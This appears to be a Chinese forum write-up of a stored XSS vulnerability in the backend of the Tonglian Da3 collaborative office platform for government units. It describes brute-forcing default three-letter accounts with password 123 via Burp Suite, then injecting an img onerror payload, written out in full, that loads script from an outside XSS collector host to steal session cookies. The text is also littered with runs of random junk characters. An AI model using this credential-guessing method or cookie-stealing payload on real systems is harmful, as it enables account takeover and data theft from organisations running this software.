同联Da3协同办公平台后台通用储存型xss漏洞

admin

5 S% g0 X. s) n9 y; e$ a 6 [/ X' [ v1 T6 L; w% Z: o+ F r $ H- e3 a' U/ V& @5 J 5 X7 N$ w8 s2 u# o* D2 ^1 i ( _: x; h$ C/ l9 J( }9 d# W3 k ?, F- j

同联Da3协同办公平台后台通用储存型xss漏洞 5 c) S- P( l& K ~

2 Y, |/ x; ?8 n. B$ g$ O

平台简介：

6 G# i; Q5 h1 ~: ~5 Z% p   ; m0 z7 p4 k6 y0 q. B2 o

! l$ S# S$ U: v# Q4 ^ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
2 J* f+ u5 I' U) K6 `% G6 V同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 0 C. n# j& y' h- ?5 Z

  4 R2 n9 k, D S- I0 B9 T0 V" ?

8 e$ C1 Y0 E& I3 y' |7 e' Y 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： |% ~' L# t6 i: z% o" m

! K& m5 [2 F# J! @! i2 l3 J1 w   + c' c5 b% N$ Q

- g5 q' ^1 f. z! ~+ {* b

3 `8 t' C, [# v/ r' X http://1.1.1.1:7197/cap-aco/#（案例2-）

2 d" x: B7 {" {; I2 f$ R

http://www.XXOO.com （案例1-官网网站） / w. d+ t/ L0 a

8 m4 G% e% K9 r+ p- d% I; d7 ?

漏洞详情: % w5 F1 a$ q( p2 y# i

2 g; u7 T3 W* r) c1 @3 b0 b" i0 l# M

7 P3 y/ }0 ?: D" G Y3 C, I  案例一、

3 [1 M0 p& F7 w8 W 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

4 r7 a3 {9 F1 }: U! S; ]      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 6 T! V) y C. J j1 c

* K. {* t" B g0 H ^3 X* p

 

/ x; B9 m4 `1 y( K

6 G# `* g2 M8 F) U * {5 _7 v+ Z8 |0 I* [" j5 {% M# X/ p

6 N# r, E: M$ L. j. w2 m status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： $ d' {* b, J+ m6 _ Y

  8 [. g' O& L O" ^- ^# N

, V5 d9 }; z+ w( D/ }7 P0 H- x 1 k6 _) ~. O6 Y. b G6 \

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

 

<img src=x $ T- m6 W; V/ k6 B: S2 m, }* fonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： : o7 G1 Y. O7 z1 A

3 F0 y) O3 a0 u0 V8 ^

6 m( _8 L% M) D 然后发送，接收cookie如图：

  * ?, y8 N. A9 M$ ]0 f7 u& d

# J" N6 N4 x# U" _6 k$ i; m' [5 m   8 \- Q+ e, n) |' c$ E

* }7 B7 X4 E6 L  

" h& N8 M, U$ E6 M0 e" q1 R

1 R+ A9 L5 g& O  

3 `, Q& e/ \# j

9 A# V# C9 [3 e( F* H

+ D/ S8 M8 [# }

d# D, s* W/ B7 O

 

9 ^- y$ j8 q1 n7 r5 ^! \$ f2 a" t 案例2、

- H4 s4 I3 p9 }( C. `+ O

前面步骤都一样，下面看效果图：

; G |! ~8 v" g3 ~1 H

3 S) M- h j! ?, O

3 q! d! B' b m, X# W* n) Q- g* ^  

8 X1 H1 w/ H, f) ]9 W# d

  5 _- B8 V' \: r; T- c

3 O, e8 y7 S! n2 O

  , T' z, y- X T: A3 t

1 ]4 D" i& H [# o2 ~ V$ a6 c8 H/ U% N   ; r: A' [4 B* a) r8 x% @, I7 j

. s# l5 i4 z: _9 N& w  

  $ G T1 N/ {- {7 h/ q2 m

( p) Q4 X) z' J# ]/ H